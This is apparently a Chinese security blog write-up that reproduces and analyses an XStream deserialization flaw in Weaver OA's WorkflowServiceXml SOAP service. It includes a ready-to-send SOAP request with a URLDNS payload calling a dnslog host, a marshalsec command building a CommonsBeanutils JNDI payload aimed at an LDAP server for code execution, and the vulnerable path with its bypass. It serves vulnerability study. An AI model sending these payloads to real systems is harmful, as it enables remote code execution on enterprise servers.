前言:在实战中碰到了,但是发现怎么打就是没反应,经过测试,最后发现只有80端口出网,最后正好学习java,顺带一起学习了解泛微,搭建泛微最后也没搭建成功,但是services可以调用了,所以凑合着用吧...
源码提供,谢谢逗神!
参考文章:https://www.anquanke.com/post/id/239865
漏洞复现
在自己搭建的环境中,我发现这个services是可以直接进行调用的,也不需要%20
来进行绕过,应该还是版本的问题,以后看了源码自己知道了再补上,这里仅仅复现
但是发现加了%20
也同样可以进行访问
URLDNS:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string><map>   <entry>     <url>http://iosw8c.dnslog.cn</url>     <string>http://iosw8c.dnslog.cn</string>   </entry> </map></web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>
CommonsBeanutils JNDI注入
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://192.168.1.230:1389/uk1zlp > cbu.xml
命令执行成功:
数据包回显执行命令
暂且不写,到时候学习becl调用链再来补上!
漏洞分析
按照自己学的,对于servlet filter等相关的映射一般都在web.xml中进行实现
漏洞的URL为:/services%20/WorkflowServiceXml
这边就直接去找对应的services.xml,我这里找到的路径为classbean\META-INF\xfire\services.xml
<!--增加新的webservice -->
<service>
<name>WorkflowServiceXml</name>
<serviceClass>weaver.workflow.webservices.WorkflowServiceXml</serviceClass>
<implementationClass>weaver.workflow.webservices.WorkflowServiceImplXml</implementationClass>
</service>
这里就直接去对应的包中进行寻找weaver.workflow.webservices.WorkflowServiceImplXml
这里通过jd-gui来进行字节码的反编译,如下图所示,因为有POC了,这里分析的话那么就可以直接定位doCreateWorkflowRequest这个函数的地方了,
这种基于webservices的,一般都是通过xml来进行传输数据,解析的话一般都是通过手动xml来进行解析,或者通过第三方组件来帮助进行解析xml,那么就有可能触发反序列化,比如XStream
public String doCreateWorkflowRequest(String paramString, int paramInt)
{
try
{
WorkflowRequestInfo localWorkflowRequestInfo = (WorkflowRequestInfo)this.xmlutil1.xmlToObject(paramString);
localWorkflowRequestInfo = getActiveWorkflowRequestInfo(localWorkflowRequestInfo);
RequestInfo localRequestInfo = toRequestInfo(localWorkflowRequestInfo);
if ((localRequestInfo.getCreatorid() == null) || (localRequestInfo.getCreatorid().isEmpty())) {
localRequestInfo.setCreatorid(paramInt + "");
}
if (!localRequestInfo.getCreatorid().equals(paramInt + "")) {
localRequestInfo.setCreatorid(paramInt + "");
}
localRequestInfo.setIsNextFlow(localWorkflowRequestInfo.getIsnextflow());
return this.requestService.createRequest(localRequestInfo);
}
catch (Exception localException)
{
localException.printStackTrace();
writeLog(localException);
}
return null;
}
通过URLDNS来进行试探,基于XML形式的URLDNS payload如下:
<map>
<entry>
<url>http://1xsz12.dnslog.cn</url>
<string>http://1xsz12.dnslog.cn</string>
</entry>
</map>
因为调试不了泛微,所以我们自己用XStream组件来进行调试,这里顺带分析,因为后面自己会学习XStream,顺便先来了解下
导入maven依赖包:
<!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.15</version>
</dependency>
发现触发了URLDNS
XStream URLDNS调试过程
通过上面两个默认的parse和NameCoder来创建一个HierarchicalStreamReader返回
接着就是开始调用unmarshal,最后来到如下,途中还可以发现,如果没有设置相关的Security framework,它还会打印出来提醒,说明XStream应该也提供了一系列的安全操作
接着构建了一个TreeUnmarshaller对象
该对象包含了如下属性
接着就是开始start函数
他会先解析当前xml,现在存储了一个hashMap,那么它则通过readClassType获取其中的接口类Map
接着就是convertAnother,这个函数就会进行相关的解析操作,不分析了,感觉直接扔到这边,就当粗略的了解下XStream,最后就是进行转换的操作,对应的XML会转换为一个HashMap
HashMap的put函数
接下来就是就会进行请求DNS,这里就不继续分析了,后面就跟URLDNS一样
继续回到泛微的,那么我们就知道了XStream能够对paramString参数 public String doCreateWorkflowRequest(String paramString, int paramInt)
,进行相关反序列化的操作,自然拿其他利用链也是可以的